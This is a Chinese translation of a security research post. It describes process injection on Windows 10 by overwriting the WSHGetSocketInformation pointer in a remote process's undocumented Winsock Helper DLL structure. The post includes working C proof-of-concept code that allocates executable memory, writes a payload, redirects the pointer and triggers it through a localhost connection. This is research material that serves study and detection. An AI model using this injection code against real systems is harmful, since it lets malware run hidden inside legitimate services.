原文:https://modexp.wordpress.com/2019/07/27/process-injection-winsock/
翻译:玉林小学生
校对:Nxe
据MSDN手册描述,Winsock Helper函数(WSHX)在Windows Server 2003、Windows Vista及之后版本中被废弃了。但是,Helper Dll在最新的Windows 10构建中仍然被用在TCP、红外、蓝牙、Hyper-V的socket中,近几年还被用于unix套接字地址族。MSDN中已经详细描述了Helper Dll架构的细节,本文只重点关注众多利用Helper Dll进行代码重定向、进程注入的方法中的一个。某Helper Dll的配置功能长期以来一直被滥用,但本文不对其进行详细描述。
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock\Parameters下可以看到一个传输协议的列表,如图1。
图1:Windows 10 VM支持的传输协议
每个字符串对应一个Helper Dll,详细信息可以在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\协议\Parameters\Winsock下找到。图2展示TCPIP协议对应的详细信息。
图2.传输协议配置
当通过socket()或WSASocket()创建一个socket,WINSOCK_HELPER_DLL_INFO结构在插入mswsock.dll!SockHelperDllListHead之前被使用注册表和导出Dll函数的地址进行填充。微软官方文档中没有记录WINSOCK_HELPER_DLL_INFO结构,但可以在网上找到一个该结构老版本的信息。该结构最新版的一些成员只能通过逆向工程来获得,所以我只能保证下面的结构描述在最新的Windows 10构建中有效。
typedef struct _WINSOCK_HELPER_DLL_INFO { LIST_ENTRY HelperDllListEntry; DWORD Unknown; HANDLE DllHandle; INT MinSockaddrLength; INT MaxSockaddrLength; INT MinTdiAddressLength; INT MaxTdiAddressLength; ULONG64 UseDelayedAcceptance; PWINSOCK_MAPPING Mapping; GUID ProviderGUID; PWSH_OPEN_SOCKET WSHOpenSocket; PWSH_OPEN_SOCKET2 WSHOpenSocket2; PWSH_JOIN_LEAF WSHJoinLeaf; PWSH_NOTIFY WSHNotify; PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation; PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation; PWSH_GET_SOCKADDR_TYPE WSHGetSockaddrType; PWSH_GET_WILDCARD_SOCKADDR WSHGetWildcardSockaddr; PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr; PWSH_ADDRESS_TO_STRING WSHAddressToString; PWSH_STRING_TO_ADDRESS WSHStringToAddress; PWSH_IOCTL WSHIoctl; } WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO;
mswsock.dll!SockHelperDllListHead是一个LIST_ENTRY结构的全局变量。定位该结构最简单、最快速方法是搜索.data段中指向堆内存的指针。进行搜索前,需要在本地创建一个“虚拟”TCP/IP 套接字来初始化该结构。一旦找到该结构,要把保存为相对虚拟地址(Relative Virtual Address)的堆指针地址加上远程进程中mswsock.dll的基地址。你可以使用SymFromName()或IDebugSymbols::GetOffsetByName来定位准确地址,但PoC搜索.data段来避免依赖任何调试符号。
任何使用Winsock函数的进程都是潜在的注入目标。但是,为了简化,PoC只选择监听TCP/IPv4端口上入站连接的进程。该进程还必须准许被我们打开进行虚拟内存读写来重写函数指针。图3列出Windows 10 VM中满足这些规则的有效进程列表。
图3.Windows下监听TCP/IPV4端口
图4中显示的后台服务使用了红外sockets。
图4.后台打印服务相关的IrDA socket函数
COM(Component Object Model)和DCOM(Distributed COM)中关键的RPC(Remote Procedure Call)和RPC端点映射使用了Hyper-V sockets,如图5所示。
图5.RPC服务和RPC端点映射的Hyper-V socket函数
有许多触发Winsock函数执行的方法,但至今最简单的方法是连接到一个监听状态的端口导致调用Tcpip4_WSHGetSocketInformation。这个函数IPv4和IPv6都有使用,所以与进程使用的协议版本无关。还有一个方法值得一提,但只影响使用DnsQuery_A来解析IP地址的Windows DNS缓存服务。该请求导致调用WSHOpenSocket*函数来建立与远程DNS服务器的连接。图6列出TCP/IPv4函数。
图6.mswsock.dll中的TCP/IPv4函数
在图7中可以看到notepad运行在spooler服务之下。我以这个作为演示注入的例子。
图7. 注入后Notepad运行在Spooler打印服务下面
下面是核心注入代码。想更详细了解它如何工作在这里看完整PoC。
VOID inject(DWORD pid, WORD port, LPVOID payload, DWORD payloadSize) { DWORD rva, r; HANDLE hp; WINSOCK_HELPER_DLL_INFO hdi; LPVOID cs, addr; SIZE_T wr; SOCKET s; struct sockaddr_in sin; // 1. Try open process for reading/writing VM // 1. 尝试打开进程来进行读写虚拟内存 hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hp == NULL) { printf("Unable to open PID : %i\n", pid); return; } // 2. Get helper DLL entry for TCP v4 // 2. 获取TCP v4的helper DLL的入口 addr = GetHelperDLLInfo(hp, pid, &hdi); if (addr != NULL) { // 3. Create a windows socket and write the payload to remote process // 3. 创建一个windows socket 并向远程进程写payload s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Update the function pointer with pointer to payload // 4. 修改函数指针指向payload WriteProcessMemory( hp, (PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation), &cs, sizeof(ULONG_PTR), &wr); // 5. Trigger it with connection to the port on localhost // 5. 连接localhost的端口来触发调用payload sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); connect(s, (struct sockaddr*)&sin, sizeof(sin)); // wait a moment before restoring pointer Sleep(0); // 6. Restore function pointer and clean up // 6. 恢复函数指针并清理 WriteProcessMemory( hp, (PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation), &hdi.WSHGetSocketInformation, sizeof(ULONG_PTR), &wr); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); closesocket(s); } CloseHandle(hp); }
通过修改远程进程的Winsock Helper函数来执行payload是可行的。PoC以监听服务作为目标仅仅是因为它们是最容易注入的。你可能会说这些服务运行在高完整性级别上,攻击者很难利用。系统中也有许多低完整性级别的进程使用Winsock helper函数进行出站连接,或者也可以基于其它I/O机制,如RPC、ALPC和窗口消息,来导致执行同样的helper函数。系统中也有一些对管理员有效的接口,在执行某些特定任务是会利用Winsock helper函数。我仅针对这个进行了实现,但不意味着只有TCP/IP侦听者被影响。
最后于 2019-8-22 09:28 被玉林小学生编辑 ,原因: 修改代码缩进